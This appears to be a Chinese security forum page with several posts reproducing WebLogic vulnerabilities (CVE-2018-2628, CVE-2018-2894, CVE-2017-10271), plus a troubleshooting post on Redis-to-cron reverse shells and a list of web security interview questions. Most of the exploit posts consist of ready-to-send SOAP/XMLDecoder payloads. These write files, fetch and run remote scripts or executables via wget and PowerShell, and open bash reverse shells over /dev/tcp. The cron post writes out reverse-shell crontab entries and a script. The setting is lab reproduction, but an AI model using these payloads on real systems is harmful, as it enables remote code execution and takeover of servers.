weblogic漏洞系列- WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)

zksmile 发表了文章 • 1 个评论 • 345 次浏览 • 2018-08-22 17:33 • 来自相关话题

此漏洞产生于Weblogic T3服务,当开放Weblogic控制台端口(默认为7001端口)时,T3服务会默认开启,因此会造成较大影响。
 
漏洞编号:CVE-2018-2628 
影响范围:Oracle WebLogic Server10.3.6.0

Oracle WebLogic Server12.2.1.2

Oracle WebLogic Server12.2.1.3

Oracle WebLogic Server12.1.3.0
 
漏洞原理:
http://blog.topsec.com.cn/ad_lab/cve-2018-2628-weblogic%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
http://www.freebuf.com/vuls/169420.html
https://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA
 
漏洞复现:
1、首先需要下载一个国外大佬写的一款工具ysoserial(http://www.vuln.cn/6295,这里有针对这款工具的分析)。wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 
2、使用ysoserial启动一个JRMP Serverjava -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command] 【listen port】是JRMP Server 监听的端口
【Command】是想要执行命令






3、使用exp向目标发送数据包。(脚本链接:https://www.exploit-db.com/exploits/44553/)zksmile@xxx:~$ python CVE-2018-2628.py

Usage:
exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
[victim ip] :目标IP
[victim port] : 目标端口
[path to ysoserial] : ysoserial的路径
[JRMPListener ip] : 步骤2中 攻击机器的IP
[JRMPListener port]: 步骤2中监听的端口
[JRMPClient] :使用的是JRMPClient类
zksmile@xxx:~$ python CVE-2018-2628.py 172.18.0.2 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 172.18.0.1 1099 JRMPClient




4、进入docker 容器中,文件已经创建成功。zksmile@xxx:~/vulhub/weblogic/CVE-2018-2628$ sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
9989f9948b12 vulhub/weblogic "startWebLogic.sh" 7 hours ago Up 7 hours 5556/tcp, 0.0.0.0:7001->7001/tcp cve-2018-2628_weblogic_1
zksmile@xxx:~/vulhub/weblogic/CVE-2018-2628$ sudo docker exec -ti 9989f9948b12 /bin/bash
root@9989f9948b12:~/Oracle/Middleware# ls /tmp/
bea1061393648233859820.tmp hsperfdata_root wlstTemproot
cookie.txt packages zksmile.txt
root@9989f9948b12:~/Oracle/Middleware#
5、文中用到脚本工具在下边压缩包中。 查看全部
此漏洞产生于Weblogic T3服务,当开放Weblogic控制台端口(默认为7001端口)时,T3服务会默认开启,因此会造成较大影响。
 
漏洞编号:
CVE-2018-2628
 
影响范围:
Oracle WebLogic Server10.3.6.0

Oracle WebLogic Server12.2.1.2

Oracle WebLogic Server12.2.1.3

Oracle WebLogic Server12.1.3.0

 
漏洞原理:
http://blog.topsec.com.cn/ad_lab/cve-2018-2628-weblogic%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
http://www.freebuf.com/vuls/169420.html
https://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA
 
漏洞复现:
1、首先需要下载一个国外大佬写的一款工具ysoserial(http://www.vuln.cn/6295,这里有针对这款工具的分析)。
wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
 
2、使用ysoserial启动一个JRMP Server
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
 
【listen port】是JRMP Server 监听的端口
【Command】是想要执行命令


1.png

3、使用exp向目标发送数据包。(脚本链接:https://www.exploit-db.com/exploits/44553/
zksmile@xxx:~$ python CVE-2018-2628.py

Usage:
exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
[victim ip] :目标IP
[victim port] : 目标端口
[path to ysoserial] : ysoserial的路径
[JRMPListener ip] : 步骤2中 攻击机器的IP
[JRMPListener port]: 步骤2中监听的端口
[JRMPClient] :使用的是JRMPClient类

zksmile@xxx:~$ python CVE-2018-2628.py 172.18.0.2 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 172.18.0.1 1099 JRMPClient

2.png

4、进入docker 容器中,文件已经创建成功。
zksmile@xxx:~/vulhub/weblogic/CVE-2018-2628$ sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
9989f9948b12 vulhub/weblogic "startWebLogic.sh" 7 hours ago Up 7 hours 5556/tcp, 0.0.0.0:7001->7001/tcp cve-2018-2628_weblogic_1
zksmile@xxx:~/vulhub/weblogic/CVE-2018-2628$ sudo docker exec -ti 9989f9948b12 /bin/bash
root@9989f9948b12:~/Oracle/Middleware# ls /tmp/
bea1061393648233859820.tmp hsperfdata_root wlstTemproot
cookie.txt packages zksmile.txt
root@9989f9948b12:~/Oracle/Middleware#

5、文中用到脚本工具在下边压缩包中。

weblogic漏洞系列-任意文件上传漏洞(CVE-2018-2894)

zksmile 发表了文章 • 0 个评论 • 342 次浏览 • 2018-08-19 23:03 • 来自相关话题

前言
前一段时间这个漏洞爆出来之后,测试了一些之存在SSRF漏洞的weblogic站点,均未发现漏洞。后来才发现这个漏洞挺鸡肋的。Web Service Test Page 在“生产模式”下默认是不开启的,漏洞虽然是高危,但是影响范围就受到了限制。总之复现一遍记录一下吧。(万一遇到了呢?)
 
漏洞编号
CVE-2018-2894
 
影响范围:
10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3
 
复现环境:
WebLogic Server 版本: 12.2.1.3.0
 
登录到后台,来修改一下配置文件。点击【base_domain】-【高级】-【启用Web服务测试页】。勾选之后记得点击保存,此时已经生效。 





复现步骤
1、首先访问http://IP/ws_utc/config.do.如下图所示: 





2、设置Work Home Dir 当前工作目录为:
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css





3、点击左侧【安全】-【添加】-【选择文件】。 





4、点击提交之后,可是使用BurpSuite拦截返回的数据包,也可以通过浏览器的调试台来寻找返回的时间戳ID。F12打开调试台。 










5、访问:http://IP//ws_utc/css/config/keystore/[时间戳]_[文件名]即可访问到上传的文件。 




Reference
https://www.seebug.org/vuldb/ssvid-97423
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2894 查看全部
前言
前一段时间这个漏洞爆出来之后,测试了一些之存在SSRF漏洞的weblogic站点,均未发现漏洞。后来才发现这个漏洞挺鸡肋的。Web Service Test Page 在“生产模式”下默认是不开启的,漏洞虽然是高危,但是影响范围就受到了限制。总之复现一遍记录一下吧。(万一遇到了呢?)
 
漏洞编号
CVE-2018-2894
 
影响范围:
10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3
 
复现环境:
WebLogic Server 版本: 12.2.1.3.0
 
登录到后台,来修改一下配置文件。点击【base_domain】-【高级】-【启用Web服务测试页】。勾选之后记得点击保存,此时已经生效。 

1.png

复现步骤
1、首先访问http://IP/ws_utc/config.do.如下图所示: 

2.png

2、设置Work Home Dir 当前工作目录为:
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css 


3.png

3、点击左侧【安全】-【添加】-【选择文件】。 

4.png

4、点击提交之后,可是使用BurpSuite拦截返回的数据包,也可以通过浏览器的调试台来寻找返回的时间戳ID。F12打开调试台。 

5.png


6.png

5、访问:http://IP//ws_utc/css/config/keystore/[时间戳]_[文件名]即可访问到上传的文件。 

7.png
Reference
https://www.seebug.org/vuldb/ssvid-97423
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2894

解决ubuntu任务计划写shell失败的问题

lawliet 发表了文章 • 3 个评论 • 329 次浏览 • 2018-08-18 01:16 • 来自相关话题

这个问题的由来是因为自己在复现redis未授权访问漏洞时,通过向linux任务计划文件里写反弹shell的命令时,发现shell并不能反弹回来,之前使用的server端为Centos,一切顺利并没有出现这种问题,结果这次server换成了ubuntu,就出现不能反弹的问题,结果因为这个问题卡了很久,最终在kakaxi和ttgo2两位大佬的指导和帮助下才解决了该问题,将整个问题的解决过程在这里记录一下~
环境说明
ubuntu16.04桌面版:192.168.0.107,用来任务计划反弹shell的靶机
kali2.0:192.168.0.106,用来接收ubuntu反弹过来的shell具体过程
事情源自于我利用redis未授权访问漏洞在向ubuntu的/var/spool/cron/crontabs目录下创建任务计划文件去反弹shell时,发现shell并不能反弹到自己的kali上
任务计划文件/var/spool/cron/crontabs/root内容如下[i] [/i] [i] [/i] * /bin/bash -i >& /dev/tcp/192.168.0.106/7777 0>&1
需要特别注意的一点是这的root文件的权限必须为600,也就是rw-------,否则会出现cron[53948]: (root) INSECURE MODE (mode 0600 expected)的错误,会影响到后面的实验 但是kali却迟迟接收不到反弹过来的shell
之前在centos上利用的时候并没有出现这种情况,使用ubuntu的时候居然不行,下面我们就来一步步的排查看看到底是什么原因导致的
首先,咱们先来看一下系统日志tail -f /var/log/syslog

通过系统日志可以看到CRON[55318]: (CRON) info (No MTA installed, discarding output)这一条,我们之所以反弹shell失败,和这句话有着很大的关系,百度了一番后得到这句话的大概意思就是我们任务计划里的命令执行如果出现了错误,ubuntu会将这些错误信息去输出到ubuntu系统的邮件服务器,但是由于ubuntu系统默认没有安装邮件服务器,所以才导致了上面的错误
通过了上面的信息,可以推断出我们任务计划中的命令执行出现了某种错误,然后ubuntu处理这种错误方式是将错误信息发送到本地的邮件服务器,但是邮件服务器不存在,那么我们要想办法将错误信息重定向到文件里面去看看究竟是命令的什么地方产生了错误,修改任务计划文件为[i] [/i] [i] [/i] * '/bin/bash -i >& /dev/tcp/192.168.0.106/7777 0>&1'>/tmp/error.txt 2>&1
1代表标准输出。2代表标准错误输出,也就是命令执行出现的错误,这里将/bin/bash -i >& /dev/tcp/192.168.0.106/7777 0>&1执行的标准错误输出重定向到输出流,也就是/tmp/error.txt这个文件中,而不是邮件服务器,然后再看日志就没有刚刚的错误了
/bin/sh: 1: /bin/bash -i >& /dev/tcp/192.168.0.106/7777 0>&1: not found下面可以看到tmp目录下新生成了一个记录错误信息的文件error.txt,内容如下

这条错误的意思说/bin/bash没有被找到,通过错误信息还可以明白一件事情,那就是linux里面的cron中command执行的shell环境是/bin/sh,那我们可以再来看一下ubuntu下的/bin/sh文件究极是一个怎么样的文件ls -al /bin/sh
可以看到/bin/sh其实是一个软连接文件(l),类似于windows中的快捷方式,只不过在ubuntu中/bin/sh这个软连接指向了dash,而我们反弹shell使用的shell环境是dash,所以这一点是反弹出错的根本原因 那么之前的centos为什么就能成功,下面来看一下centos/bin/sh的指向

可以看到centos中/bin/sh的指向是bash,所以命令执行不会出错
搞清楚了根本的原因后,来说一下解决的办法,这里有两种解决办法,其中一种解决办法是通过修改ubuntu中/bin/sh的指向,将dash改为bash即可,命令如下ln -s -f bash /bin/sh

可以看到此时/bin/sh以及指向了bash,此时将任务计划里的文件修改为之前反弹shell的命令,可以看到不会再报错了,并且shell成功反弹到了kali上


下面来说一下第二种解决办法,首先我们先将/bin/sh的指向改回dashln -s -f dash /bin/sh


下面来说一下第二种方法,就是避免在cron文件里去使用bash这个shell,我们可以另外的去建一个反弹shell的shell脚本文件,然后在任务计划里面去直接调用这个shell脚本文件
shell脚本文件如下,文件名为/tmp/test.sh#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.0.107/7777 0>&1

然后为test.sh加上执行权限chmod +x /tmp/test.sh

之后任务计划里的内容修改为[i] [/i] [i] [/i] * /tmp/test.sh

可以看到kali上成功反弹到了shell
总结
这一次真的是踩了很多坑,最终才终于弄明白,通过这次的学习使我对linux的认识更加的深刻了,同时也学到了解决问题的思路和方法,在这里十分感谢kakaxi和ttgo2两位大神的帮助! 查看全部
这个问题的由来是因为自己在复现redis未授权访问漏洞时,通过向linux任务计划文件里写反弹shell的命令时,发现shell并不能反弹回来,之前使用的server端为Centos,一切顺利并没有出现这种问题,结果这次server换成了ubuntu,就出现不能反弹的问题,结果因为这个问题卡了很久,最终在kakaxi和ttgo2两位大佬的指导和帮助下才解决了该问题,将整个问题的解决过程在这里记录一下~
环境说明
ubuntu16.04桌面版:192.168.0.107,用来任务计划反弹shell的靶机
kali2.0:192.168.0.106,用来接收ubuntu反弹过来的shell具体过程
事情源自于我利用redis未授权访问漏洞在向ubuntu的
/var/spool/cron/crontabs
目录下创建任务计划文件去反弹shell时,发现shell并不能反弹到自己的kali上
任务计划文件
/var/spool/cron/crontabs/root
内容如下
[i] [/i] [i] [/i] * /bin/bash -i >& /dev/tcp/192.168.0.106/7777 0>&1

需要特别注意的一点是这的root文件的权限必须为600,也就是
rw-------
,否则会出现
cron[53948]: (root) INSECURE MODE (mode 0600 expected)
的错误,会影响到后面的实验 但是kali却迟迟接收不到反弹过来的shell
之前在centos上利用的时候并没有出现这种情况,使用ubuntu的时候居然不行,下面我们就来一步步的排查看看到底是什么原因导致的
首先,咱们先来看一下系统日志
tail -f /var/log/syslog


通过系统日志可以看到
CRON[55318]: (CRON) info (No MTA installed, discarding output)
这一条,我们之所以反弹shell失败,和这句话有着很大的关系,百度了一番后得到这句话的大概意思就是我们任务计划里的命令执行如果出现了错误,ubuntu会将这些错误信息去输出到ubuntu系统的邮件服务器,但是由于ubuntu系统默认没有安装邮件服务器,所以才导致了上面的错误
通过了上面的信息,可以推断出我们任务计划中的命令执行出现了某种错误,然后ubuntu处理这种错误方式是将错误信息发送到本地的邮件服务器,但是邮件服务器不存在,那么我们要想办法将错误信息重定向到文件里面去看看究竟是命令的什么地方产生了错误,修改任务计划文件为
[i] [/i] [i] [/i] * '/bin/bash -i >& /dev/tcp/192.168.0.106/7777 0>&1'>/tmp/error.txt 2>&1

1代表标准输出。2代表标准错误输出,也就是命令执行出现的错误,这里将
/bin/bash -i >& /dev/tcp/192.168.0.106/7777 0>&1
执行的标准错误输出重定向到输出流,也就是
/tmp/error.txt
这个文件中,而不是邮件服务器,然后再看日志就没有刚刚的错误了
/bin/sh: 1: /bin/bash -i >& /dev/tcp/192.168.0.106/7777 0>&1: not found
下面可以看到tmp目录下新生成了一个记录错误信息的文件error.txt,内容如下

这条错误的意思说/bin/bash没有被找到,通过错误信息还可以明白一件事情,那就是linux里面的cron中command执行的shell环境是/bin/sh,那我们可以再来看一下ubuntu下的/bin/sh文件究极是一个怎么样的文件
ls -al /bin/sh

可以看到/bin/sh其实是一个软连接文件(l),类似于windows中的快捷方式,只不过在ubuntu中/bin/sh这个软连接指向了dash,而我们反弹shell使用的shell环境是dash,所以这一点是反弹出错的根本原因 那么之前的centos为什么就能成功,下面来看一下centos/bin/sh的指向

可以看到centos中
/bin/sh
的指向是bash,所以命令执行不会出错
搞清楚了根本的原因后,来说一下解决的办法,这里有两种解决办法,其中一种解决办法是通过修改ubuntu中
/bin/sh
的指向,将dash改为bash即可,命令如下
ln -s -f bash /bin/sh


可以看到此时
/bin/sh
以及指向了
bash
,此时将任务计划里的文件修改为之前反弹shell的命令,可以看到不会再报错了,并且shell成功反弹到了kali上


下面来说一下第二种解决办法,首先我们先将
/bin/sh
的指向改回
dash
ln -s -f dash /bin/sh


下面来说一下第二种方法,就是避免在cron文件里去使用bash这个shell,我们可以另外的去建一个反弹shell的shell脚本文件,然后在任务计划里面去直接调用这个shell脚本文件
shell脚本文件如下,文件名为
/tmp/test.sh
#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.0.107/7777 0>&1


然后为test.sh加上执行权限
chmod +x /tmp/test.sh


之后任务计划里的内容修改为
[i] [/i] [i] [/i] * /tmp/test.sh


可以看到kali上成功反弹到了shell
总结
这一次真的是踩了很多坑,最终才终于弄明白,通过这次的学习使我对linux的认识更加的深刻了,同时也学到了解决问题的思路和方法,在这里十分感谢kakaxi和ttgo2两位大神的帮助!

weblogic漏洞系列- 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271)

zksmile 发表了文章 • 0 个评论 • 490 次浏览 • 2018-08-17 14:24 • 来自相关话题

看别人的POC觉得复现挺简单的,实际操作的时候还是有很多细节需要注意,还是需要自己动手做一遍啊。
 漏洞编号:
CVE-2017-10271
 
影响范围:
Oracle WebLogic Server 10.3.6.0.0版本
 
Oracle WebLogic Server 12.1.3.0.0版本
 
Oracle WebLogic Server 12.2.1.1.0版本
 
漏洞详情:
 
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
 
漏洞原理:
https://www.anquanke.com/post/id/92003
 
漏洞复现环境:
WebLogic Servcer :10.3.6.0
 
漏洞复现:
 
1、利用java.io.PrintWriter类进行文件创建,并写入数据。 POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 8.8.8.8:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,[i]/[/i];q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: text/xml
Content-Length: 605

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.txt</string>
<void method="println">
<string>Hello,this is a test!</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>





 
以上Poc是向服务器的servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.txt写文件。文件名称为test.txt。文件内容为“Hello,this is a test!”,成功发送请求之后服务器会返回 500 status code。需要注意的地方是头部必须加上Content-Type: text/xml请求会出错。
发送请求之后访问http://ip/bea_wls_internal/test.txt,查看文件是否写入成功 





 
 
2、执行系统命令
利用java.lang.ProcessBuilder类进行本地命令调用,通过执行本地命令,下载可执行文件执行或者反弹shell。
 
2.1 通过执行wget、curl命令或者powershell,下载可执行文件并执行。
Linux代码如下:POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 8.8.8.8:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,[i]/[/i];q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://xxxx.com/xxx | /bin/bash xxx</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
Windows代码如下: POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 8.8.8.8:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,[i]/[/i];q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>powershell</string>
</void>
<void index="1">
<string>-Command</string>
</void>
<void index="2">
<string>(New-Object System.Net.WebClient).DownloadFile('http://[b][i].com/[/i][/b].exe','[b][i].exe');(New-Object -com Shell.Application).ShellExecute('[/i][/b].exe');</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
需要注意地方:<array class="java.lang.String" length="3”> 当中length的长度要与<void>的个数对应,且void的index是从0开始的 
 
2.2、反弹shell POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 8.8.8.8:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,[i]/[/i];q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >&amp; /dev/tcp/10.0.0.1/21 0>&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
注意:反弹shell的语句,需要进行编码,,否则解析XML的时候将出现格式错误  查看全部
看别人的POC觉得复现挺简单的,实际操作的时候还是有很多细节需要注意,还是需要自己动手做一遍啊。
 漏洞编号:
CVE-2017-10271
 
影响范围:
Oracle WebLogic Server 10.3.6.0.0版本
 
Oracle WebLogic Server 12.1.3.0.0版本
 
Oracle WebLogic Server 12.2.1.1.0版本
 
漏洞详情:
 
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
 
漏洞原理:
https://www.anquanke.com/post/id/92003
 
漏洞复现环境:
WebLogic Servcer :10.3.6.0
 
漏洞复现:
 
1、利用java.io.PrintWriter类进行文件创建,并写入数据。 
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 8.8.8.8:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,[i]/[/i];q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: text/xml
Content-Length: 605

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.txt</string>
<void method="println">
<string>Hello,this is a test!</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

2.png


 
以上Poc是向服务器的servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.txt写文件。文件名称为test.txt。文件内容为“Hello,this is a test!”,成功发送请求之后服务器会返回 500 status code。需要注意的地方是头部必须加上Content-Type: text/xml请求会出错。
发送请求之后访问http://ip/bea_wls_internal/test.txt,查看文件是否写入成功 

1.png

 
 
2、执行系统命令
利用java.lang.ProcessBuilder类进行本地命令调用,通过执行本地命令,下载可执行文件执行或者反弹shell。
 
2.1 通过执行wget、curl命令或者powershell,下载可执行文件并执行。
Linux代码如下:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 8.8.8.8:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,[i]/[/i];q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://xxxx.com/xxx | /bin/bash xxx</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

Windows代码如下: 
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 8.8.8.8:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,[i]/[/i];q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>powershell</string>
</void>
<void index="1">
<string>-Command</string>
</void>
<void index="2">
<string>(New-Object System.Net.WebClient).DownloadFile('http://[b][i].com/[/i][/b].exe','[b][i].exe');(New-Object -com Shell.Application).ShellExecute('[/i][/b].exe');</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

需要注意地方:<array class="java.lang.String" length="3”> 当中length的长度要与<void>的个数对应,且void的index是从0开始的 
 
2.2、反弹shell 
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 8.8.8.8:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,[i]/[/i];q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >&amp; /dev/tcp/10.0.0.1/21 0>&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

注意:反弹shell的语句,需要进行编码,,否则解析XML的时候将出现格式错误 

大学生毕业季和实习季,Web安全安全常见面试题

Web安全渗透ttgo2 发表了文章 • 4 个评论 • 403 次浏览 • 2018-08-16 17:03 • 来自相关话题

大学生毕业季和实习季,Web安全安全常见面试题 (原创文章,转载请标明出处,谢谢)

Web安全涉及知识点太广了,总体上比较吃经验,用人单位看重有挖掘经验的,但是对基础知识的掌握也是很看重的,针对web安全行业,小编针对技术面试官简单总结了一下,希望能对大家有用。

一、最常见的经验问题:

1、 准备好自己的简历,面试官绝大部分题目都是来自你的简历内容,应该对自己的简历好好准备,简历要突出代码能力和挖掘经验,这点是最吸引面试官的简历
2、 有自己的博客吗? 这里考察学习的内容,知识积累、学习方向和知识深度。因此建议大家有写博客的习惯。
3、 是否参加过众测项目?在其他知名平台是否发布过自己的文章?

二、技术点问题:

2.1 协议安全

1、DDOS的攻击原理、类型和防御
2、什么是DNS有什么样的安全问题?

2.2 数据库安全,中间件, 操作系统

1、msyql的安全问题有哪些?
2、中间件的解析漏洞?
3、操作系统的日志安全管理?

2.3 核心web安全漏洞,

web漏洞种类比较多,这里不列举,举例如下:
企业web安全渗透测试流程谈一下sql 注入漏洞文件上传突破的方法xxs、csrf等漏洞说一下你挖掘过的逻辑漏洞?

2.4 最近一年多发生的0day,或者安全事件

2.5 框架性的漏洞?

举例 stust
Struts2 ,心脏出血,等等


